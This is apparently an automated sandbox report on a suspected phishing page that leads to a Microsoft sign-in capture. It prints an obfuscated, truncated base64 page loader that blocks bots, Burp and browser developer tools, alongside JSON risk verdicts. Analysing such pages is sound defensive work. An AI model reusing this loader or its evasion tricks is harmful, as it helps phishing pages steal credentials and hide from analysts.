e(e,t){Object.defineProperty(p,e,{value:t,enumerable:!1,configurable:!0})}e("__get__",m),e("__GetDependency__",m),e("__Rewire__",O),e("__set__",O),e("__reset__",L),e("__ResetDependency__",L),e("__with__",I)}()}).call(this,n(3))},function(e,t,n){"use strict";(function(e){function r(e){return r="function"==typeof S |
| URL: https://rda.ifyrorrz.ru/mEzron5/... Model: Joe Sandbox AI | {
"risk_score": 9,
"reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
} |
/* The biggest risk is not taking any risk. */
if(atob("aHR0cHM6Ly9SZEEuaWZ5cm9ycnoucnUvbUV6cm9uNS8=") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNraWh6dkJLa21JIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2tpaHp2QktrbUkgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2tpaHp2QktrbUkgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQoja2loenZCS2ttSSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2tpaHp2QktrbUkuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTAzcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNraWh6dkJLa21JIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQoja2loenZCS2ttSSAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2tpaHp2QktrbUkgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQoja2loenZCS2ttSSAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQoja2loenZCS2ttSSAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2tpaHp2QktrbUkgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2tpaHp2QktrbUkubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNraWh6dkJLa21JIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQoja2loenZCS2ttSSAjUWRPVnhNdmtNUCB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KRFdqWEZGWnFWVCA9IGZhbHNlOw0KKGZ1bmN0aW9uIG5CbUxaQUh5YnAoKSB7DQogICAgbGV0IGNCVUJTb3ZjTGEgPSBmYWxzZTsNCiAgICBjb25zdCBMWm9XSmhxa21XID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBuWlJGZU |
| URL: https://rda.ifyrorrz.ru/mEzron5/ Model: Joe Sandbox AI | {
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
} |
 |
| URL: https://rda.ifyrorrz.ru Model: Joe Sandbox AI | {
"typosquatting": false,
"unusual_query_string": false,
"suspicious_tld": true,
"ip_in_url": false,
"long_subdomain": false,
"malicious_keywords": false,
"encoded_characters": false,
"redirection": false,
"contains_email_address": false,
"known_domain": false,
"brand_spoofing_attempt": false,
"third_party_hosting": true
} |
URL: https://rda.ifyrorrz.ru |
| URL: https://rda.ifyrorrz.ru/mEzron5/ Model: Joe Sandbox AI | {
"brands": [
"Cloudflare"
]
} |
 |
| URL: https://rda.ifyrorrz.ru/mEzron5/ Model: Joe Sandbox AI | {
"contains_trigger_text": true,
"trigger_text": "Running browser checks to ensure your safety.",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
} |
 |
| URL: https://rda.ifyrorrz.ru/mEzron5/ Model: Joe Sandbox AI | {
"brands": [
"Cloudflare"
]
} |
|
| URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI | {
"contains_trigger_text": true,
"trigger_text": "Sign in",
"prominent_button_name": "Next",
"text_input_field_labels": [
"Email, phone, or Skype"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
} |
 |
| URL: https://login.microsoftonline.com Model: Joe Sandbox AI | {
"typosquatting": false,
"unusual_query_string": false,
"suspicious_tld": false,
"ip_in_url": false,
"long_subdomain": false,
"malicious_keywords": false,
"encoded_characters": false,
"redirection": false,
"contains_email_address": false,
"known_domain": true,
"brand_spoofing_attempt": false,
"third_party_hosting": false
} |
URL: https://login.microsoftonline.com |
| URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI | {
"brands": [
"Microsoft"
]
} |
|
Edit tour
chrome.exe (PID: 5588 cmdline: 
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node